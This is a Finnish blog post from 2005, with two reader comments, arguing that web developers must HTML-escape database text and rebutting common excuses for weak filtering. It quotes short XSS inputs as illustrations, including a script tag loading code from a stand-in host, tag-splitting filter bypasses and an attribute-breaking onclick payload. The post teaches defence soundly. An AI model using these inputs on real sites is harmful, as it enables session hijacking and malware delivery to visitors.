2005-01-07

Miksi kaikki web-sivulle liitettävä teksti tulee siistiä HTML:ästä

Re: SQL Injection Attacks by Example ja Kaistan varastamista, tietokantaan tunkeutumista ja salaisuuksien vuotamista.

Visa Kopun blogista huomaamassani jutussa viitattiin artikkelin SQL Injection -hyökkäyksistä. Hieman yksinkertaistaen käy niin, että palvelimella pyörivän ohjelman koodissa muodostetaan SQL-lause ja tämän lauseen osana käytetään selaimelta parametrina tulevaa merkkijonoa ilman asiaankuuluvia tarkistuksia. Näin hyökkääjä voi vääntää sinänsä viattoman lauseen tietomurron tai vahingonteon työkaluksi.

Tämä muistutti minua taas siitä, miten huolettomia monet ohjelmoijat ovat myös ohjelman toisessa päässä, eli tietokannasta tulevan tiedon yhdistämisessä osaksi web-sivua. Onhan nimittäin niin, että ellei datan ole erityisesti tarkoitus olla HTML:ää, tulee se aina siivota vähintäänkin muuntamalla pienempi kuin (<), suurempi kuin (>), et-merkki (&) ja lainausmerkit (") vastaaviksi koodauksiksi (&lt;, &gt;, &amp; &quot;).

Mikäli tätä varotoimea ei noudateta, voivat seuraukset olla vakavia. Sovelluksen käyttäjätunnuksia on mahdollista kaapata, kaistanleveyttä tuhlata tarkoituksella, kävijöiden koneella voi ujuttaa haittaohjelmia selainten (eli siis lähinnä IE:n) tietoturva-aukkoja hyödyntäen ja ehkä kaikkein uskomattominta, tehdä erinäisiä hyökkäyksiä myös muita sivustoja vastaan. Eikä tässä vielä lähellekään kaikki.

Näistä esimerkeistä haittaohjelmien ujuttaminen vaatii selainbugeja toimiakseen. Muut toimivat, vaikka selainohjelma toimisikin täydellisesti. Käyttäjätunnuksien kaappaaminen ilman haittaohjelmaa vaatii JavaScriptin tai VBScriptin lisäämistä sivulle (mm. Cross Site Scripting eli XSS).

Ei luulisi, että vaikkapa PHP:stä aivan vakiokirjastosta löytyvän funktion (muistaakseni htmlspecialchars) käyttö on niin vaikeaa. Kokosin tähän muutamia foorumeilta ja koodin kommenteista lukemiani perusteluja vastaväitteineen:

Rajoitan tekstin pituuden hyvin lyhyeksi, jolloin mikään skripti ei mene läpi. Oletetaan, että sallittu tekstin pituus on 50 merkkiä. Tähän tilaan mahtuu mm. seuraava hyökkäys: <script src=http://paha.exp language=VBScript>. En ole tutkinut asiaa tarkemmin, mahdollisesti tästäkin voisi vielä pudottaa jotain. En tiedä, voiko script-elementtiä vaativaa hyökkäystä toteuttaa 25 merkissä, mutta harvemmin 25 merkkiä riittää mihinkään oikeaan käyttöön. Suomen kielessähän jo yksi yhdyssana voi olla reilusti pidempi. Lisäksi kuvallakin saa pahaa aikaan ja sellaisen lisää lyhemmässä tilassa ja joskus useampi kenttä näytetään vierekkäin, vaikkapa etu- ja sukunimi, jollain käytettävissä oleva tila tuplaantuu.

Käytän rutiinia, joka poistaa ikävien elementtien alut. Teoriassa riittävää, mutta kyseinen rutiini jää usein helposti kierrettäväksi. Tyypillisiä ongelmia:

- rutiini korvaa vain isoilla kirjoitetut alut (<SCRIPT) ja pienellä kirjoitetut alut (<script), mutta ei sekaisin kirjoitettua alkua (esim. <SCripT)

- rutiini käy tekstin läpi vain kertaalleen, eli syötteestä <sc<scriptript tulee <script

- rutiini käy etsittävät merkkijonot läpi jossain tietyssä järjestyksessä, esimerkiksi script-elementit ennen img-elementtejä, jolloin syöte <sc<imgript tuottaa tulokseksi <script

- kaikkia vaarallisia elementtejä ei muisteta etsiä, esimerkiksi form-elementin avulla on kätevä rakentaa väärään paikkaan osoittava näköislomake

Käytän rutiinia, joka poistaa ikävät elementit kokonaan. Teoriassa riittävää, mutta taaskin kattava toteutus osoittautuu vaikeaksi. Tagien katkominen toisilla tuhoaa monet regexit (lauseet, joilla ilmaistaan etsittävän tekstin säännöt) ja usein tekstiä verrataan ryhmään regexejä jossain järjestyksessä. Oma jäsenninkään ei ole välttämättä yhtään turvallisempi, koska se ei kumminkaan vastaa lähellekään selaimen jäsennintä (ellei kyseessä ole XML).

Kirjoittamani ohjelmisto ei ole avointa ohjelmistoa, joten kukaan ei voi keksiä tietä heikkojen suojausteni ohi. Todennäköisesti jokainen virhe on jo tehty jossain muualla, eli jokin versio kasasta koottuja vakiohyökkäyksiä voi toimia. Lisäksi näiden tuottamien tulosten seuranta ja päättely tältä pohjalta tuo helposti tuloksia.

Poistan pelkästään suurempi kuin - ja pienempi kuin -merkit, sillä muilla ei ole väliä. Ajatellaan vaikkapa linkkilistaa, jossa jokainen linkki on muotoa <a href="$url">$otsikko</a> ja paikanpitäjän $url korvaavaa tekstiä ei tarkasteta mitenkään. Tällöin kätevä hyökkäys on " onclick="...scriptiä....

Ainoastaan luotettavat henkilöt tulevat käyttämään sovelluksen ylläpitopuolta. Vaikka henkilöt olisivatkin varmasti hyväntahtoisia, saattaa heidät pystyä huijastaan lisäämään sivustolle haitallista koodia. Lisäksi mikäli yhdenkin tunnukset (tai miten tunnistaminen nyt yleensäkin tapahtuu) kaapataan, on muihinkin mahdollista päästä käsiksi.

Kaikki vahinko rajoittuu omaan sivustooni (tai sovellukseeni), eikä sillä ole sen kummempaa väliä. Selainbugeja käyttäen hyökkääjä saattaa pystyä kaappaamaan kokonaan vierailijan tietokoneen. Tai mikäli hyökkääjä lisää puolen megan kuvan joltain kolmannelta sivustolta, 1x1 pikselin kokoisena tietenkin, jokaiselle oman sivustosi sivulle, saattaa kolmannen sivuston ylläpitäjää odottaa ikävä kaistamaksu.

En väitä, ettei tarvetta HTML:än syöttämiseen web-sovellukseen tulisi koskaan. Nykyisinkin vain muista käyttöympäristöistä tai uusmedia-alalta tulleet ohjelmoijat eivät tunnu lainkaan ymmärtävän eroa kuvauskielen (markup language) ja puhtaan tekstin (plain text) välillä. Ja niille, joiden mielestä homma tuntuu sekavalta jo tässä vaiheessa, voin kertoa että selainten HTML-jäsentimien dokumentoimattomissa ominaisuuksissa ja Unicode-merkistön tuessa on vielä paljon mutkistavia asioita. Siispä:

1. Pitäydy kaiken sivulle tietokannasta tulevan käyttämisessä PHP:n htmlspecialchars:ia vastaavan rutiinin läpi niin kauan kuin mahdollista.

2. Jos joudut antamaan käyttäjille tehokkaammat muotoilumahdollisuudet joissakin kentissä, harkitse BBCoden, MarkDownin, WikiTextin, Textilen tai vastaavan muotoilumenetelmän käyttöä HTML:än sijaan. Ole näidenkin kanssa varovainen.

3. Mikäli joudut käyttämään tai ehdottomasti haluat käyttää HTML:ää, tee HTML:n puhdistusrutiini, joka päästää lävitseen vain oikeaksi tiedettyä mallia muistuttavaa koodia eikä mitään tuntematonta.

Kommentit:

Anonymous Anonyymi totesi...

Mielestäni syöte tylisi puhdistaa merkkauksesta mieluiten ennen tietokantaan laittoa, sillä tällöin mahdollisuus puhdistamattoman syötteen lipsahdtamiseen käyttäjän selaimelle esim. tulostusversion generoinnin yhteydessä pienenee.

8:49 ip.  
Blogger Aapo Laitinen totesi...

En ole samaa mieltä. Tietokanta on tarkoitettu tiedon säilyttämiseen, ei minkään tiedon esitystavan säilyttämiseen. Tietokantaan ei pidä laittaa mitään HTML:ään sidottua koodausta, vaan dataa sellaisenaan (ellei tämä data sitten ole HTML:ää). Mikäli tarkoitat puhdistamisella joidenkin (näkyvien) merkkien poistamista kokonaan, mennään taas käytettävyyden suhteen kyseenalaiselle alueelle ("Miksi lainausmerkit eivät kelpaa tähän?"). Jos tietokannan sarakkeeseen sallitaan vain jokin osajoukko sen tietotyypin sallimista arvoista, on parempi olla varovainen kummassakin päässä.

Lipsahdukset saa estettyä olemalla järjestelmällinen tai rakentamalla järjestelmän tasoittain. Sekä tietokantaan menevän että sieltä tulevan tiedon kanssa kannattaa olla varovainen, rakentaa järjestelmä kestävälle, monipuoliselle ja yhtenäiselle perustalle eikä käyttää mitään purkkaratkaisuja.

9:55 ap.  

Lähetä kommentti

<< Etusivulle